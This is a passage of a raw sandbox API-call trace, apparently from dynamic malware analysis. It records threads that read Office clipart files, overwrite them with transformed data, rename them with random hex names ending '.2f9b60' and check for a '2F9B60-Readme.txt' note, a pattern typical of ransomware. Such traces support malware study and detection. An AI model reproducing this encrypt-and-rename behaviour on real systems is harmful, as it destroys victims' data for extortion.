_Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="59") returned 2 [0108.542] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="cc") returned 2 [0108.542] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="60") returned 2 [0108.542] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="59") returned 2 [0108.542] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="4a") returned 2 [0108.542] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="b4") returned 2 [0108.542] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="5c") returned 2 [0108.542] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="e6") returned 2 [0108.542] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="0c") returned 2 [0108.543] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="09") returned 2 [0108.543] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="77") returned 2 [0108.543] RtlInitAnsiString (in: DestinationString=0x2b72fcc8, SourceString="7255a61305903c072c6532416559cc60594ab45ce60c0977" | out: DestinationString="7255a61305903c072c6532416559cc60594ab45ce60c0977") [0108.543] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b72fc98, SourceString="7255a61305903c072c6532416559cc60594ab45ce60c0977", AllocateDestinationString=1 | out: DestinationString="7255a61305903c072c6532416559cc60594ab45ce60c0977") returned 0x0 [0108.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced6510 [0108.543] wcscat (in: _Dest=0x205009f0, _Source="7255a6130590" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7255a6130590") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7255a6130590" [0108.543] wcscat (in: _Dest=0x205009f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7255a6130590.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7255a6130590.2f9b60" [0108.543] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7255a6130590.2f9b60", NtPathName=0x2b72fc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7255a6130590.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x420603b0 [0108.543] NtSetInformationFile (FileHandle=0xe30, IoStatusBlock=0x2b72fd10, FileInformation=0x420603b0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0110.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420603b0) returned 1 [0110.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265690) returned 1 [0110.027] NtQueryInformationFile (in: FileHandle=0xe30, IoStatusBlock=0x2b72fcd8, FileInformation=0x2b72fce8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b72fcd8, FileInformation=0x2b72fce8) returned 0x0 [0110.027] NtSetInformationFile (FileHandle=0xe30, IoStatusBlock=0x2b72fcd8, FileInformation=0x2b72fce8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205009f0) returned 1 [0110.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6510) returned 1 [0110.030] FlushFileBuffers (hFile=0xe30) returned 1 [0110.035] CloseHandle (hObject=0xe30) returned 1 [0110.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500950 [0110.036] wcscpy (in: _Dest=0x20500950, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0110.036] wcscat (in: _Dest=0x20500950, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0110.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0110.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500950) returned 1 [0110.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b2f0) returned 1 Thread: id = 682 os_tid = 0x118c [0096.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 0x20 [0107.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF", dwFileAttributes=0x20) returned 1 [0108.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x159c [0108.449] GetFileSizeEx (in: hFile=0x159c, lpFileSize=0x2b02f6a0 | out: lpFileSize=0x2b02f6a0*=3746) returned 1 [0108.449] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0xe9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.449] ReadFile (in: hFile=0x159c, lpBuffer=0x2b02f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b02f668, lpOverlapped=0x0 | out: lpBuffer=0x2b02f620*, lpNumberOfBytesRead=0x2b02f668*=0x4, lpOverlapped=0x0) returned 1 [0108.452] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8612f0 [0108.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8612c0 [0108.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff40 [0108.453] NtQuerySystemTime (in: CurrentTime=0x2b02f560 | out: CurrentTime=0x2b02f560*=132462177139498000) returned 0x0 [0108.453] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x20b6d58 [0108.453] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x30c4a227 [0108.453] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x25acfd7 [0108.453] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x35487cb9 [0108.453] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x4ef9eeaa [0108.453] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x10c22d9b [0108.453] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x64467b89 [0108.453] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x3880d4fb [0108.453] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x122f8aac [0108.453] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x32516fce [0108.453] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x7b9e7c3c [0108.453] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x2f118533 [0108.453] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x291d0918 [0108.453] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x14b86a50 [0108.453] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x4c16fffb [0108.453] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x4735c8c7 [0108.453] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x26620013 [0108.453] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x3367d4d5 [0108.453] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x4edb437a [0108.453] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x6d0a5223 [0108.453] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x7c0bbb7d [0108.454] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x3244e61a [0108.454] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x5d780abf [0108.454] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x2e0b00f [0108.454] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x5ad7bfb5 [0108.454] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x5258cadb [0108.454] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x2a7e4241 [0108.454] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x1e1f53e [0108.454] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x1c19ac [0108.454] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x24f59a6a [0108.454] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x46ac0ecc [0108.454] RtlRandomEx (in: Seed=0x2b02f550 | out: Seed=0x2b02f550) returned 0x4559fa27 [0108.462] ReadFile (in: hFile=0x159c, lpBuffer=0x41e53cc0, nNumberOfBytesToRead=0xea2, lpNumberOfBytesRead=0x2b02f550, lpOverlapped=0x0 | out: lpBuffer=0x41e53cc0*, lpNumberOfBytesRead=0x2b02f550*=0xea2, lpOverlapped=0x0) returned 1 [0108.462] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.462] WriteFile (in: hFile=0x159c, lpBuffer=0x41e578d0*, nNumberOfBytesToWrite=0xea2, lpNumberOfBytesWritten=0x2b02f554, lpOverlapped=0x0 | out: lpBuffer=0x41e578d0*, lpNumberOfBytesWritten=0x2b02f554*=0xea2, lpOverlapped=0x0) returned 1 [0108.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860030 [0108.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860480 [0108.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860480) returned 1 [0108.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e578d0) returned 1 [0108.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e53cc0) returned 1 [0108.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0108.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0108.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860480 [0108.467] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.468] WriteFile (in: hFile=0x159c, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2b02f670, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x2b02f670*=0x10a, lpOverlapped=0x0) returned 1 [0108.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0108.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866c40 [0108.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601b0 [0108.484] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8601b0) returned 1 [0108.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601b0 [0108.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc10 [0108.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc10) returned 1 [0108.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0108.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0108.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.485] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="7e") returned 2 [0108.485] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="c7") returned 2 [0108.485] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="38") returned 2 [0108.485] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="34") returned 2 [0108.485] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="71") returned 2 [0108.485] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="3a") returned 2 [0108.485] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="e3") returned 2 [0108.485] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="be") returned 2 [0108.485] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="45") returned 2 [0108.485] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="32") returned 2 [0108.485] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="ee") returned 2 [0108.485] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="93") returned 2 [0108.485] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="7d") returned 2 [0108.485] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="3b") returned 2 [0108.485] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="4f") returned 2 [0108.485] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="30") returned 2 [0108.485] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="2b") returned 2 [0108.485] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="07") returned 2 [0108.485] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="6e") returned 2 [0108.486] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="b0") returned 2 [0108.486] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="09") returned 2 [0108.486] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="dc") returned 2 [0108.486] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="8d") returned 2 [0108.486] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="c9") returned 2 [0108.486] RtlInitAnsiString (in: DestinationString=0x2b02f6e8, SourceString="7ec73834713ae3be4532ee937d3b4f302b076eb009dc8dc9" | out: DestinationString="7ec73834713ae3be4532ee937d3b4f302b076eb009dc8dc9") [0108.486] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b02f6b8, SourceString="7ec73834713ae3be4532ee937d3b4f302b076eb009dc8dc9", AllocateDestinationString=1 | out: DestinationString="7ec73834713ae3be4532ee937d3b4f302b076eb009dc8dc9") returned 0x0 [0108.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced64a0 [0108.486] wcscat (in: _Dest=0x20500950, _Source="7ec73834713a" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7ec73834713a") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7ec73834713a" [0108.486] wcscat (in: _Dest=0x20500950, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7ec73834713a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7ec73834713a.2f9b60" [0108.486] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7ec73834713a.2f9b60", NtPathName=0x2b02f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7ec73834713a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x420602f0 [0108.486] NtSetInformationFile (FileHandle=0x159c, IoStatusBlock=0x2b02f730, FileInformation=0x420602f0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0110.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420602f0) returned 1 [0110.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265d20) returned 1 [0110.011] NtQueryInformationFile (in: FileHandle=0x159c, IoStatusBlock=0x2b02f6f8, FileInformation=0x2b02f708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b02f6f8, FileInformation=0x2b02f708) returned 0x0 [0110.011] NtSetInformationFile (FileHandle=0x159c, IoStatusBlock=0x2b02f6f8, FileInformation=0x2b02f708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500950) returned 1 [0110.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced64a0) returned 1 [0110.031] FlushFileBuffers (hFile=0x159c) returned 1 [0110.037] CloseHandle (hObject=0x159c) returned 1 [0110.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500950 [0110.038] wcscpy (in: _Dest=0x20500950, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0110.038] wcscat (in: _Dest=0x20500950, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0110.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0110.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500950) returned 1 [0110.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b380) returned 1 Thread: id = 683 os_tid = 0x1190 [0096.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 0x20 [0107.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF", dwFileAttributes=0x20) returned 1 [0108.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17a8 [0108.413] GetFileSizeEx (in: hFile=0x17a8, lpFileSize=0x2b2ffd60 | out: lpFileSize=0x2b2ffd60*=5836) returned 1 [0108.413] SetFilePointerEx (in: hFile=0x17a8, liDistanceToMove=0x16c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.413] ReadFile (in: hFile=0x17a8, lpBuffer=0x2b2ffce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b2ffd28, lpOverlapped=0x0 | out: lpBuffer=0x2b2ffce0*, lpNumberOfBytesRead=0x2b2ffd28*=0x4, lpOverlapped=0x0) returned 1 [0108.422] SetFilePointerEx (in: hFile=0x17a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860030 [0108.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8603f0 [0108.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860480 [0108.434] NtQuerySystemTime (in: CurrentTime=0x2b2ffc20 | out: CurrentTime=0x2b2ffc20*=132462177139186000) returned 0x0 [0108.434] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x2231405f [0108.434] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x432f547f [0108.434] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x261a2cf [0108.434] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x239081ac [0108.434] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0xdfd3dbe [0108.434] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x27af591d [0108.434] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x431a866 [0108.434] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x7921dca3 [0108.434] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x3eb9b5e7 [0108.434] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x2fc8bca [0108.434] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x39eccd14 [0108.434] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0xb088621 [0108.434] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x155800b8 [0108.434] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x5a3be718 [0108.435] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x1bf55c0e [0108.435] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x56f4028e [0108.435] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x61fa6678 [0108.435] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x76c9c5db [0108.435] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0xec60c91 [0108.435] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x78024397 [0108.435] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x192575a2 [0108.435] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x35e0d6d0 [0108.435] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x7aef101d [0108.435] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x730b5013 [0108.435] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x30d9237 [0108.435] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x5e1cc167 [0108.435] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x3202e647 [0108.435] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x308fe3c4 [0108.435] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x7895a232 [0108.435] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0xc6bdab8 [0108.435] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0x33e03a42 [0108.435] RtlRandomEx (in: Seed=0x2b2ffc10 | out: Seed=0x2b2ffc10) returned 0xfd73f15 [0108.445] ReadFile (in: hFile=0x17a8, lpBuffer=0x41e6a520, nNumberOfBytesToRead=0x16cc, lpNumberOfBytesRead=0x2b2ffc10, lpOverlapped=0x0 | out: lpBuffer=0x41e6a520*, lpNumberOfBytesRead=0x2b2ffc10*=0x16cc, lpOverlapped=0x0) returned 1 [0108.450] SetFilePointerEx (in: hFile=0x17a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.451] WriteFile (in: hFile=0x17a8, lpBuffer=0x41e6e130*, nNumberOfBytesToWrite=0x16cc, lpNumberOfBytesWritten=0x2b2ffc14, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesWritten=0x2b2ffc14*=0x16cc, lpOverlapped=0x0) returned 1 [0108.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8612f0 [0108.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff40 [0108.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff40) returned 1 [0108.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0108.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6a520) returned 1 [0108.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0108.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85ff40 [0108.466] SetFilePointerEx (in: hFile=0x17a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.466] WriteFile (in: hFile=0x17a8, lpBuffer=0x167ca0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2b2ffd30, lpOverlapped=0x0 | out: lpBuffer=0x167ca0*, lpNumberOfBytesWritten=0x2b2ffd30*=0x10a, lpOverlapped=0x0) returned 1 [0108.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0108.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866c40 [0108.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0108.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8e0) returned 1 [0108.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0108.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0108.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8604e0) returned 1 [0108.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0108.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0108.479] 